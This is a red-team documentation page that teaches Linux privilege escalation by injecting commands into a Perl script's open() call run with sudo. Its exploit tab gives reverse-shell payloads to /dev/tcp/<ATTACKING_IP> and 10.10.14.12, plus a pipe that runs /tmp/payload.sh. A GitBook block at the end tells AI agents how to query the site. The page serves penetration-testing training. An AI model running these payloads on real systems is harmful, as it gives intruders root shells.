> For the complete documentation index, see [llms.txt](https://red.infiltr8.io/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://red.infiltr8.io/redteam/privilege-escalation/linux/script-exploits/perl.md).

# Perl

## Theory

Perl scripting is a powerful tool used by system administrators and developers to automate tasks and streamline processes on Unix-like systems. However, like any software, perl scripts can be vulnerable to various security issues, which, if exploited, can lead to privilege escalation and unauthorized access.

## Practice

### Open() Command Injection

{% tabs %}
{% tab title="Enumerate" %}
Assume the ruby script can be executed as root with sudo rights. If it use the `open()` method and we controll its input, then the script is vulnerable to arbitrary code execution.

```bash
sudo -l
    (root): /usr/bin/perl open.pl
```

Check if we have control over the input of the vulnerable function

```perl
my $file = <>;
open(FH, $file);
while (my $line = <FH>) {
  print($line);
}
```

{% endtab %}

{% tab title="Exploit" %}
If we controll some variables passed to this vulnerables functions, we can inject arbitrary code. here is an example of a malicious payloads passed to the `open()` function:

```bash
$ sudo /usr/bin/perl open.pl

|bash -c 'bash -i >& /dev/tcp/<ATTACKING_IP>/9001 0>&1'
bash -c 'bash -i >& /dev/tcp/10.10.14.12/9001 0>&1'|
|/tmp/payload.sh
```

{% hint style="info" %}
The `|` is a built in functionality used to execute the file when opening it. The file must be executable.
{% endhint %}
{% endtab %}
{% endtabs %}

## References

{% embed url="<https://ippsec.rocks>" %}


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://red.infiltr8.io/redteam/privilege-escalation/linux/script-exploits/perl.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
